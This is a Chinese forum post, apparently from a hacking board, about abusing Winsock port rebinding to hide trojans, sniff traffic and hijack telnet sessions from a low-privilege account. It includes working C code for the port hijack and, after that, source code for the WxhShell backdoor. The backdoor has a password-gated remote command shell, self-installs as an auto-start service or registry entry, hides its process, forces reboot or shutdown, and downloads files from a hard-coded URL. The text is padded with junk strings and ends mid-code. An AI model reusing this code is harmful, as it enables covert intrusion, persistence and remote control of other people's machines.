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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (Zz8 ldO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'o]kOp@q  
@9e}kiW  
  saddr.sin_family = AF_INET; ak"W/"2:  
U0ZPY )7k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s J{J@/5  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F^Y%Q(Dd7w  
tu:W1?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _PPn =kuMa  
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  这意味着什么?意味着可以进行如下的攻击: :%4N4| Q  
;@FCa j&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rX}FhBl5  
vs%d}]v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _O3X;U7rc  
{XEX0|TZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q.MbzSgXL  
\&MJ(F>vJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {%+UQ!]d8  
3%(,f,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )qua0'y]@  
X#<+D1P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !!+LFe4su  
O)8$aAJ)V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &[7z:`+Y##  
AaLbJYuKd  
  #include j@s*hZ^J+  
  #include 9U4 D$M  
  #include w'6sJ#ba(  
  #include    MS`XhFPS.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5q;c=oRUj  
  int main() TXS{=  
  { Sfa;;7W@R  
  WORD wVersionRequested; p|>m 2(|  
  DWORD ret; odTa 2$O  
  WSADATA wsaData; .G-L/*&%  
  BOOL val; 1$)}EL   
  SOCKADDR_IN saddr; >+9:31p  
  SOCKADDR_IN scaddr; sH.,O9'r  
  int err; JLak>MS  
  SOCKET s; gx.\&W b  
  SOCKET sc; Yq>K1E|  
  int caddsize; {_R{gpj'  
  HANDLE mt; 64qqJmG 3  
  DWORD tid;   (_3QZ  
  wVersionRequested = MAKEWORD( 2, 2 ); UB,0c)   
  err = WSAStartup( wVersionRequested, &wsaData ); `b KJ  
  if ( err != 0 ) { KU^|T2s%  
  printf("error!WSAStartup failed!\n"); jx#9  
  return -1; yioX^`Fc(~  
  } ~5o2jTNy`p  
  saddr.sin_family = AF_INET; F<4>g+Ag  
   INEE 37%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z]XjN@j"  
~7w LnB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wlFK#iK  
  saddr.sin_port = htons(23); &N*l?7(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c"diNbm[  
  { ;]l`Q,*OXb  
  printf("error!socket failed!\n"); "^oU&]KQJ  
  return -1; cI'su?  
  } uhU'm@JZ  
  val = TRUE; E> N[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >mj WC) U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d*dPi^JjC  
  { vDIsawbHD  
  printf("error!setsockopt failed!\n"); QIfP%,LT  
  return -1; `$MO;Fv,G  
  } uT>"(wnJ|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?_d3|]N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hd W7Qck"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XZ<8M}Lg  
:Bi 4z(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f\?1oMO\  
  { bO* hmDt  
  ret=GetLastError(); n?QglN  
  printf("error!bind failed!\n"); K7t_Q8  
  return -1; = &^tfD  
  }  K{9  
  listen(s,2); +k V$ @qH  
  while(1) %<|cWYM="z  
  { s_3a#I  
  caddsize = sizeof(scaddr); 7NkMr8[}F  
  //接受连接请求 B r6tgoA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <tW/9}@p9  
  if(sc!=INVALID_SOCKET) %@8#+#@J0  
  { C@g/{?\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1'H!S%fS  
  if(mt==NULL) QT=i>X  
  { qIxe)+.  
  printf("Thread Creat Failed!\n"); .O SQ8W }  
  break; IP^1ca#<  
  } 5cb8=W -  
  } %{jL+4veoL  
  CloseHandle(mt); !{CaW4  
  } )<$<9!L4x  
  closesocket(s); <Ira~N  
  WSACleanup(); \hdil`{>  
  return 0; 1.5R`vKn]  
  }   :jJ0 +Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) t]T't='  
  { K1w:JA6(  
  SOCKET ss = (SOCKET)lpParam; L) UCVm  
  SOCKET sc; $h[Q }uW  
  unsigned char buf[4096]; >-y}t9[/  
  SOCKADDR_IN saddr; hW`o-'  
  long num; _p?s[r*  
  DWORD val; y(O~=S+<  
  DWORD ret; wScr:o+K>L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rH'|$~a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B>[myx  
  saddr.sin_family = AF_INET; ^\r{72!y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tF\_AvL_8  
  saddr.sin_port = htons(23); ANfy+@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'wWuR@e#&  
  { hxt;sQAo{  
  printf("error!socket failed!\n"); q3`~uTzk  
  return -1; `NNP}O2  
  } =}0$|@pl  
  val = 100; e'p"gX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X`fm5y  
  { tBETNt7  
  ret = GetLastError(); A p 3B'  
  return -1; Q n.3 B  
  } ^>^h|$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "N)InPR-  
  { -j@IDd7  
  ret = GetLastError(); ^])s\a$  
  return -1; ""m/?TZq'  
  } 0<##8m@F8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1kD1$5  
  { cC]]H&'Hg+  
  printf("error!socket connect failed!\n"); NErvX/qK  
  closesocket(sc); a5&[O  
  closesocket(ss); A-*MH#QUKh  
  return -1; )-h{0o  
  } e7tio!  
  while(1) N4b{^JkF  
  { DR]4Tcz#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S]A[eUF~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vQj{yJ\l1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &*oljGt8  
  num = recv(ss,buf,4096,0); q\<NW%KtX  
  if(num>0) [ua[A;K  
  send(sc,buf,num,0); V{ ~~8b1E  
  else if(num==0) c7R&/JV  
  break; c=^69>w  
  num = recv(sc,buf,4096,0); 93ggCOaYA  
  if(num>0) c[$i )\0  
  send(ss,buf,num,0); *_]fe&s=%  
  else if(num==0) $.31<@T7  
  break; )<Mo.  
  } #4!f/dWJp  
  closesocket(ss); l<'}`  
  closesocket(sc); $`R=Q  
  return 0 ; U[:=7UABU?  
  } )@] W=  
PnL?zae  
w2jB6NQX  
========================================================== zy.v[Y1!  
.-[]po  
下边附上一个代码,,WXhSHELL eR/X9<  
,b?G]WQrHs  
========================================================== :a:m>S<~  
R]RLy#j  
#include "stdafx.h" $"k1^&&E  
6q7jI )l  
#include <stdio.h> s@Loax6@B  
#include <string.h> /iJsa&W}  
#include <windows.h> 2sVDv@2  
#include <winsock2.h> ?}S!8;d  
#include <winsvc.h> Cv/3-&5S  
#include <urlmon.h> Ns#L9T#  
!3o/c w9  
#pragma comment (lib, "Ws2_32.lib") %eGD1.R  
#pragma comment (lib, "urlmon.lib") }=.C~f]A  
ca,c+5  
#define MAX_USER   100 // 最大客户端连接数 c{39,oF  
#define BUF_SOCK   200 // sock buffer ]7RK/Zu i  
#define KEY_BUFF   255 // 输入 buffer n A%8 bZ+  
XpA|<s  
#define REBOOT     0   // 重启 )Y"t$Iw"  
#define SHUTDOWN   1   // 关机 G^SDB!/@J  
NE3/>5  
#define DEF_PORT   5000 // 监听端口 )bpdj,  
yVJ)JhV  
#define REG_LEN     16   // 注册表键长度 /Ao.b|mm  
#define SVC_LEN     80   // NT服务名长度 sDu&9+  
+vPCr&40  
// 从dll定义API =#wE*6T9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uo[`AzD3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]iZ-MG)J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;<%d^   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9WHarv2@  
]eX(K5 A  
// wxhshell配置信息 rP/W,! 7:K  
struct WSCFG { H>"P]Y)oX  
  int ws_port;         // 监听端口 g91xUG  
  char ws_passstr[REG_LEN]; // 口令 ZS@R?  
  int ws_autoins;       // 安装标记, 1=yes 0=no I;9DG8C&v*  
  char ws_regname[REG_LEN]; // 注册表键名 JD AX^]  
  char ws_svcname[REG_LEN]; // 服务名 `_"?$ v2F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C\|HN=2eh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zE7)4!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z'm( M[2K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |>-0q~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zOJzQZ~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v[a4d&P  
ZB5NTNf>  
}; G B>T3l"  
akwS;|SZ  
// default Wxhshell configuration "IWL& cH3  
struct WSCFG wscfg={DEF_PORT, w"A>mEex<  
    "xuhuanlingzhe", k\ZU%"^J  
    1, $]?M[sL\N7  
    "Wxhshell", s&DAO r!i  
    "Wxhshell", dQ#oY|a  
            "WxhShell Service", H{_6e6`e.  
    "Wrsky Windows CmdShell Service", lg 1r]  
    "Please Input Your Password: ", u:,B&}j  
  1, : %U lNk  
  "http://www.wrsky.com/wxhshell.exe", 0.1?hb|p5T  
  "Wxhshell.exe" 6*I=% H|  
    }; t3!~=U  
+Lo,*  
// 消息定义模块 uiWo<}t}{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I#W J";kqB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VY0-18 o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s##XC^;p[  
char *msg_ws_ext="\n\rExit."; T'N/A9{q  
char *msg_ws_end="\n\rQuit."; gpCWXz')i  
char *msg_ws_boot="\n\rReboot..."; g=Nde2d?  
char *msg_ws_poff="\n\rShutdown..."; ;3Q3!+%j  
char *msg_ws_down="\n\rSave to "; lnV!Xuf  
cQ0+kX<  
char *msg_ws_err="\n\rErr!"; 3p'(E\VJ  
char *msg_ws_ok="\n\rOK!"; 5)gC<  
a JQ_V  
char ExeFile[MAX_PATH]; jLEO-<)-)  
int nUser = 0; c2d1'l]n  
HANDLE handles[MAX_USER]; nNRc@9Lt  
int OsIsNt; )xTu|V   
5L\Im^  
SERVICE_STATUS       serviceStatus; |lVi* 4za%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vnX~OVz2  
gNh4c{Al9  
// 函数声明 yQC8Gt8  
int Install(void); $- GwNG  
int Uninstall(void); mf2Qu  
int DownloadFile(char *sURL, SOCKET wsh); F5\{`  
int Boot(int flag); ^YEMR C  
void HideProc(void); GEki34 n0  
int GetOsVer(void); (T",6xBSG  
int Wxhshell(SOCKET wsl); ZrWA,~;  
void TalkWithClient(void *cs); FXid=&T@0D  
int CmdShell(SOCKET sock); mEV@~){  
int StartFromService(void); rwAycW7  
int StartWxhshell(LPSTR lpCmdLine); lK#uya g  
T lB+ tV>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0'R}'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AQ,%5MeqJ  
w X.]O!^X~  
// 数据结构和表定义 `V?NS,@$  
SERVICE_TABLE_ENTRY DispatchTable[] = &=lh Kt  
{ =8 DS~J{  
{wscfg.ws_svcname, NTServiceMain}, Oq 95zo  
{NULL, NULL} r<"k /  
}; p Acu{5#7  
~B`H5#  
// 自我安装 U@)WTH6d  
int Install(void) CW~c<,"  
{ }`uq:y  
  char svExeFile[MAX_PATH]; @DyMq3Gt?&  
  HKEY key; g<i>252>  
  strcpy(svExeFile,ExeFile); [ _&z+  
qnw8#!%I  
// 如果是win9x系统,修改注册表设为自启动 (z%OK[  
if(!OsIsNt) { 4o( Q+6m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +qyx3c+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vz)zl2F5sY  
  RegCloseKey(key); qvRs1yr?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tSaD=#v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eak+8URo  
  RegCloseKey(key); =n M Aw&`  
  return 0; l D]?9K29  
    } =#vU$~a  
  } N  gOc2I  
} Vc "+|^  
else { ='HLA-uT  
g"D:zK)  
// 如果是NT以上系统,安装为系统服务 Qy) -gax:,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :tLMh08h  
if (schSCManager!=0) e`% <D[-  
{ }9L;|ul6  
  SC_HANDLE schService = CreateService jft@ 'W53  
  ( h ?+vH{}j  
  schSCManager, BNbz{tbX"  
  wscfg.ws_svcname, !]#;'  
  wscfg.ws_svcdisp, E1|:t$>Ld  
  SERVICE_ALL_ACCESS, .c_qMTm"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q_|Lv&  
  SERVICE_AUTO_START, |TuFx=~5v  
  SERVICE_ERROR_NORMAL, .WW|v  
  svExeFile, \0^Je>-:U  
  NULL, !A"-9OS2  
  NULL, 8jgamG  
  NULL, !GZ{UmwA  
  NULL, tnw6[U!rh=  
  NULL CSMx]jbb  
  ); c)17[9"  
  if (schService!=0) R9%"Kxm  
  { `AhTER  
  CloseServiceHandle(schService); AJt4I W@  
  CloseServiceHandle(schSCManager); O4,? C)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NQ\<~a`Eq  
  strcat(svExeFile,wscfg.ws_svcname); HQrx9CXE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7]8apei|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qx77%L4  
  RegCloseKey(key); vi0nJ -Xg  
  return 0; qLm g18  
    } wmFS+F4`2  
  } 2sT\+C&H  
  CloseServiceHandle(schSCManager); 3F9AnS  
} !ziO1U  
} B%KfB VC  
4NmLbM&C8  
return 1; h7>`:~  
} ~01Fp;L/  
(Bu-o((N@0  
// 自我卸载 i8` 0-  
int Uninstall(void) f.Ms3))  
{ Tw9?U,]  
  HKEY key; h,P#)^"  
{8J+ Y}  
if(!OsIsNt) { ^9oJuT!tu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GP=&S|hi  
  RegDeleteValue(key,wscfg.ws_regname); "A&HNkRz  
  RegCloseKey(key); 6zW3!_tz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &, WQr  
  RegDeleteValue(key,wscfg.ws_regname); }%k 3  
  RegCloseKey(key); %ZJ;>a#  
  return 0; $U}GX'1LZ  
  } 1Ozy;;\-9  
} + Scw;gO  
} ]08 ~"p  
else {  :O{ ZZ  
|ea}+N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Z x_"  
if (schSCManager!=0) P:v|JER   
{ $oH?7sj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); of?'FrU  
  if (schService!=0) ?h'd\.j{  
  { FFID<L f/2  
  if(DeleteService(schService)!=0) { ?-9It|R  
  CloseServiceHandle(schService); 5KwT(R o  
  CloseServiceHandle(schSCManager); %8T"h  
  return 0; !Ytr4DtM  
  } +[$ Q C*  
  CloseServiceHandle(schService); _0qp!-l}  
  } [V.#w|n  
  CloseServiceHandle(schSCManager); w;KNS'   
} <>^otb,e$  
} lAx^!#~\  
+(J{~A~  
return 1; SHP_  
} ER*Et+ >  
`'M}.q,k~  
// 从指定url下载文件 wx)Yl1 C  
int DownloadFile(char *sURL, SOCKET wsh) Cw&U*H  
{ Tjza3M  
  HRESULT hr; 8yn}|Y9Fu  
char seps[]= "/"; ^jZ4tH3K  
char *token; SpiI9)gp  
char *file; 3+2cD  
char myURL[MAX_PATH]; e2$k %c~  
char myFILE[MAX_PATH]; o-%DL*^5  
FTC,{$  
strcpy(myURL,sURL); G,JNUok  
  token=strtok(myURL,seps); x9VR>ux&  
  while(token!=NULL) AF-uTf  
  { fs wQ*  
    file=token;  oN7JNMT  
  token=strtok(NULL,seps); y(0";\V  
  } IJV1=/ NJW  
'"14(BvW  
GetCurrentDirectory(MAX_PATH,myFILE); lq\/E`fc`  
strcat(myFILE, "\\"); %,[p[`NRYR  
strcat(myFILE, file); dUL3UY3  
  send(wsh,myFILE,strlen(myFILE),0); DZ~qk+,I  
send(wsh,"...",3,0); W: vw.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tgB\;nbB  
  if(hr==S_OK) [agp06 $D?  
return 0; Q7@.WG5  
else l9Sx'<  
return 1; $M 1/74  
T`.RP&2/d  
} or{X{_X7  
%>Y86>mVz  
// 系统电源模块 P n|*(sTl  
int Boot(int flag) beCTOmC  
{ ~]&,v|g&  
  HANDLE hToken; rkz_h  
  TOKEN_PRIVILEGES tkp; V[T`I a\  
Auz.wes  
  if(OsIsNt) { p?,:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R#UcwX}o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fd} U l  
    tkp.PrivilegeCount = 1; yDW$v/j.|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^+20e3 ~Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1JXa/f+  
if(flag==REBOOT) { Q]d3a+dK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J}UG{RttI  
  return 0; ,/>hWAx  
} {(,[  
else { k9pOY]_Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o:irwfArv  
  return 0; %d/Pc4gfc  
} pk0C x  
  } V)8d1S  
  else { 7$&3(#!N  
if(flag==REBOOT) { }^ np  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UBy< vwnU  
  return 0; PtT=HvP!k  
} sHSD`mYq  
else { LCMCpEtY*K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aOH$}QnS  
  return 0; Eu^? e  
} U ,wJ8  
} s]z-d!G  
SsE8;IGH  
return 1; 39(]UO6^;  
} . w_oWmD  
F qW[L>M'  
// win9x进程隐藏模块 vS{zLXg  
void HideProc(void) v8>?,N#  
{ E8=8OX/{Y  
u'BuZF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :"4Pr/}rT  
  if ( hKernel != NULL ) c{dge/2yb  
  { |*+f N8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2HemPth  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8- U1Y  
    FreeLibrary(hKernel); Qwm#6{5  
  } ;/Z9M"!u[  
}I1SC7gY  
return; 3 0fsVwE2  
} A1A/OU<Vb  
%ur_DQ  
// 获取操作系统版本 Z`=[hu  
int GetOsVer(void) ,r-l^I3<  
{ lj4D: >Ov  
  OSVERSIONINFO winfo; UtebSQ+h\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1j7sJ" *  
  GetVersionEx(&winfo); ?{OB+f}Mo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A@kp` -  
  return 1; d }"Dp  
  else QKAo}1Pq  
  return 0; lbCTc,xT  
} Gs% cod  
q@}eYQ=P|e  
// 客户端句柄模块 !e}LB%zf  
int Wxhshell(SOCKET wsl) .1[[Y}  
{ ;;2Yfn'`9  
  SOCKET wsh; q-g3!  
  struct sockaddr_in client; $~[k?D  
  DWORD myID; 0?tn.<'B8T  
7eh<>X!TX  
  while(nUser<MAX_USER) ?5A!/`E&%  
{ ,&1DKx  
  int nSize=sizeof(client); d&dp#)._8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MMZdF{5@G  
  if(wsh==INVALID_SOCKET) return 1; sMq*X^z )?  
;!JI$_ -\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S-^RZ"  
if(handles[nUser]==0) Ez*9*]O*+  
  closesocket(wsh); /WlpRf%  
else !8Rsz:7^-  
  nUser++; vT#$`M<  
  } kXmnLxhS/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |-W7n'n  
OKo39 A\fu  
  return 0; G/2| *H  
}  i,{'}B  
_\9|acFT2O  
// 关闭 socket 5w\>Whbd  
void CloseIt(SOCKET wsh) ;<JyA3i^V,  
{ nty^De%  
closesocket(wsh); meHnT9a^  
nUser--; XF`,mV4  
ExitThread(0); 7g}lg8M  
} '8Q:}{  
1kG{z;9  
// 客户端请求句柄 |hp_<F9.  
void TalkWithClient(void *cs) \BV$p2m5-  
{ \B0,?_i  
qH3|x08  
  SOCKET wsh=(SOCKET)cs; ?Mb 'l4  
  char pwd[SVC_LEN]; 8b0!eB#_Ee  
  char cmd[KEY_BUFF]; !ys82  
char chr[1]; yA8e"$  
int i,j; /.'tfy $  
s<i& q {r  
  while (nUser < MAX_USER) { 1^*M*>&d<  
z%Xz*uu(|  
if(wscfg.ws_passstr) { VOkEDH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u}eqU%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y5d=r]_S:  
  //ZeroMemory(pwd,KEY_BUFF); mG? g  
      i=0; w"Q6'/P  
  while(i<SVC_LEN) { JMMT886  
U4J9b p|  
  // 设置超时 |mSFa8G@  
  fd_set FdRead; /kl41gx  
  struct timeval TimeOut; gD"]uj<  
  FD_ZERO(&FdRead); R. sRH/6  
  FD_SET(wsh,&FdRead); {9tKq--@E9  
  TimeOut.tv_sec=8; 2;Ij~~  
  TimeOut.tv_usec=0; 2VrO8q(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Op&i6V}<s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h&$7^P  
td:GZ %  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kEH(\3,l  
  pwd=chr[0]; )jM' x&Vg  
  if(chr[0]==0xd || chr[0]==0xa) { =l  %  
  pwd=0; As$:V<Z  
  break; 0w0\TWz*   
  } *o}LI6_u  
  i++; [jPUAr}  
    } `D0>L '  
uM!$`JN  
  // 如果是非法用户,关闭 socket F~;G [6}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -6URM`y'j  
} 2S~cW./#fX  
u&q RK>wLa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .?L&k|wX-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .eg?FB'7  
d|^cKLu  
while(1) { uSeRn@  
FT*OF 3  
  ZeroMemory(cmd,KEY_BUFF); ,_STt)  
{XT3M{`rWL  
      // 自动支持客户端 telnet标准   &n_aMZ;  
  j=0; -^C't_Q o  
  while(j<KEY_BUFF) { 6TN!63{Cz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hJr cy!P<a  
  cmd[j]=chr[0]; B0_[bQoc1  
  if(chr[0]==0xa || chr[0]==0xd) { Ck71N3~W  
  cmd[j]=0; s*"Yi~  
  break; 4fK(<2i  
  } > 3<P^-9L  
  j++; ,/d R  
    } CdxEY  
4eZ  
  // 下载文件 fOE8{O^W  
  if(strstr(cmd,"http://")) { X2X.&^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *Y4h26  
  if(DownloadFile(cmd,wsh)) I9sx*'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |T!^&t  
  else 9ANC,+0p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aq'd C=y  
  } +(v<_#wR-  
  else { qH3<,s*  
G+k[.  
    switch(cmd[0]) { mN5`Fct*A>  
   .AEOf0t  
  // 帮助 jwm2ZJW  
  case '?': { +Dg%ec  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XCQS_'D  
    break; 0* G5Vd  
  } !1i(6?~#4  
  // 安装 9}~WwmC|x  
  case 'i': { @x9DV{j)V  
    if(Install()) }( x|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ']nB_x7  
    else u"rK5'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  tCT-cs  
    break; -P|EV|8=  
    } oV4+w_rrLc  
  // 卸载 S >E|A %  
  case 'r': { 1b4aY> Z  
    if(Uninstall()) RYU(z;+0p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,XD'f  
    else 0((3q'[ <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s[ {L.9Y  
    break; =5NM =K  
    } R|7yhsJq,  
  // 显示 wxhshell 所在路径 $ O1w 6\}_  
  case 'p': { x?hdC)#DWI  
    char svExeFile[MAX_PATH]; bU`Ih# q  
    strcpy(svExeFile,"\n\r"); Vb${Oy+  
      strcat(svExeFile,ExeFile); PQl a-  
        send(wsh,svExeFile,strlen(svExeFile),0); Mx ?{[zT"  
    break; Yzr RnVr  
    } PUMh#^g}  
  // 重启 5k0r{^#M  
  case 'b': { l?>sLKo9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Au+SCj  
    if(Boot(REBOOT)) g[VVxp!C<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<}WNZl  
    else { E0K'|*  
    closesocket(wsh); <E2+P,Lgw  
    ExitThread(0); zzf;3S?  
    } k+X=8()k  
    break; =[wVRQ?  
    } wzX 1!?  
  // 关机 RX-qL,dc  
  case 'd': { UQGOCP_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "][MCVYP  
    if(Boot(SHUTDOWN)) UjmBLXz@T  
